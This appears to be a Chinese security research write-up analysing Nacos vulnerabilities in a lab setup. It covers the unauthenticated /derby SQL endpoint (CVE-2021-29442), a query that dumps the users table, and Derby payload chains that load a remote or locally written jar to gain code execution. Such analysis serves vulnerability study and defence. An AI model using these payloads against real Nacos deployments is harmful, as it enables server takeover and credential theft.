环境使用vulhub,配合远程调试,源码使用1.4.0
历史漏洞
一些nacos的历史洞
漏洞编号 |
漏洞类型 |
影响范围 |
CVE-2021-29441 |
User-Agent权限绕过 |
<1.4.2 |
CVE-2021-29441的绕过 |
url权限绕过 |
<1.4.2 |
QVD-2023-6271 |
accessToken认证绕过 |
<=2.2.0 |
CVE-2021-29441的绕过 |
serverIdentity硬编码绕过 |
<=2.2.0 |
无 |
Hessian反序列化漏洞 |
2.0.0 <= Nacos < 2.2.3 |
/derby接口未授权
来源于CVE-2021-29442,位于com.alibaba.nacos.config.server.controller.ConfigOpsController#derbyOps
Nacos当时的版本是有鉴权的,但是这个路径没有添加@Secured注解,可以未授权访问,并且可以用这个功能执行sql语句。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| @GetMapping(value = "/derby") public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) { String selectSign = "select"; String limitSign = "ROWS FETCH NEXT"; String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY"; try { if (PropertyUtil.isEmbeddedStorage()) { LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource .getInstance().getDataSource(); if (StringUtils.startsWithIgnoreCase(sql, selectSign)) { if (!StringUtils.containsIgnoreCase(sql, limitSign)) { sql += limit; } JdbcTemplate template = dataSourceService.getJdbcTemplate(); List<Map<String, Object>> result = template.queryForList(sql); return RestResultUtils.success(result); } return RestResultUtils.failed("Only query statements are allowed to be executed"); } return RestResultUtils.failed("The current storage mode is not Derby"); } catch (Exception e) { return RestResultUtils.failed(e.getMessage()); } }
|
其中需要满足StringUtils.startsWithIgnoreCase(sql, selectSign)的条件,也就是限定了语句必须以select开头,这里有一个有意思的小插曲,在某些版本中org.apache.commons.lang3.StringUtils#startsWithIgnoreCase的实现有问题,导致这里的select判断失效,能执行任意的sql语句,这个bug在2.3.0-BETA被修复,参考https://github.com/alibaba/nacos/issues/10935
虽然能绕过select的检查,但由于org.springframework.jdbc.core.JdbcTemplate#query(java.lang.String, org.springframework.jdbc.core.ResultSetExtractor)中的executeQuery只能执行查询语句,所以这里也没法利用 。
正常的利用方式,如查询用户名密码
1
| /nacos/v1/cs/ops/derby?sql=select%20%2a%20from%20users
|
最终derby接口未授权的修复方案是对这个路径增加了注解,要求admin用户权限,也就是需要登录后台才能访问了。参考https://github.com/alibaba/nacos/pull/4517,但是默认情况下,特别是standalone模式下,如果没有手工配置认证,Nacos仍然是未授权访问的,
/data/removal接口
同样的类中有一个接口可以执行任意sql语句,可以用来rce,但这个接口是需要鉴权的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| @PostMapping(value = "/data/removal") @Secured(action = ActionTypes.WRITE, resource = "nacos/admin") public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) { DeferredResult<RestResult<String>> response = new DeferredResult<>(); if (!PropertyUtil.isEmbeddedStorage()) { response.setResult(RestResultUtils.failed("Limited to embedded storage mode")); return response; } DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class); WebUtils.onFileUpload(multipartFile, file -> { NotifyCenter.publishEvent(new DerbyImportEvent(false)); databaseOperate.dataImport(file).whenComplete((result, ex) -> { NotifyCenter.publishEvent(new DerbyImportEvent(true)); if (Objects.nonNull(ex)) { response.setResult(RestResultUtils.failed(ex.getMessage())); return; } response.setResult(result); }); }, response); return response; }
|
可以先从官方文档了解一下derby的利用方法
1 2 3 4
| CALL SQLJ.install_jar('http://localhost:9000/echo3.jar', 'APP.t3', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.t3') CREATE PROCEDURE echo3() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'com.mypoc.SpringEcho.run' call echo3()
|
或者
1 2 3
| CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}') CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
|
不出网可以写文件
1 2 3 4
| CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values cast(X''{jar_hex}'' as blob)', './{id}', ',', '"', 'UTF-8', './{id}.jar') CALL SQLJ.INSTALL_JAR('./{id}.jar', 'NACOS.{id}', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}') CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
|
sqlj.install_jar
根据官方文档可知,这个存储过程的功能是将一个jar文件存储到数据库中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
CALL SQLJ.INSTALL_JAR('tours.jar', 'APP.Sample1', 0)
CALL SQLJ.INSTALL_JAR('c:\myjarfiles\tours.jar', 'APP.Sample1', 0)
CALL SQLJ.INSTALL_JAR('http://www.example.com/tours.jar', 'APP.Sample2', 0)
CALL SQLJ.INSTALL_JAR('tours.jar', 'APP."Sample3"', 0)
CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
CALL sqlj.install_jar('http://127.0.0.1:5000/download', 'NACOS.{id}', 0)
|
这个存储过程有三个参数:
- jar文件地址,本地或远程都可
- 在derby数据库中这个jar文件的名称,名称需要由模式(Schema)名称限定(可在SYSSCHEMAS表中确定)
- 不重要,通常为0
在Derby数据库中,使用SQLJ.INSTALL_JAR来安装JAR文件时,并不是简单地将JAR文件存储在文件系统的特定位置,而是将其存储在数据库本身的系统表中。
SQLJ.INSTALL_JAR命令会将JAR文件的内容以二进制形式存储在Derby数据库的系统表SYS.SYSFILES
中,同时在SYS.SYSALIASES
表中创建对应的别名(alias)。
SYSCS_SET_DATABASE_PROPERTY
这个存储过程功能就是设置derby数据库中属性的值,我们对应的代码如下
1
| CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
|
上边代码所执行的功能是,将derby.database.classpath
的属性设置为我们刚刚上传的jar文件的标识
正常情况下Derby数据库中是支持java类的,Derby 默认加载的是其自身的类路径,这包括 Derby 内置的一些 Java 类和函数,并不包括sqlj.install_jar
安装的 JAR 文件中的内容,所以我们想要执行sqlj.install_jar
安装的 JAR就需要利用SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY
来指定 Derby 的类路径,使其能够正确加载这些类。
SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
这里第一行用到了SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
,其实第一个参数为我们的payload,第二个参数为生成的文本文件,最后一个参数就是生成的jar文件,所以执行后会生成两个文件,虽然我们只需要jar文件,但是第二个参数不能为空,本地实验设置为空会出错,包括文档里也写了,如果为空则会报错
Reference
https://blog.csdn.net/baidu_25299117/article/details/140476392
https://github.com/ax1sX/SecurityList/blob/main/Java_OA/NacosAudit.md
https://forum.butian.net/article/473
https://forum.butian.net/article/483
https://forum.butian.net/article/570
http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce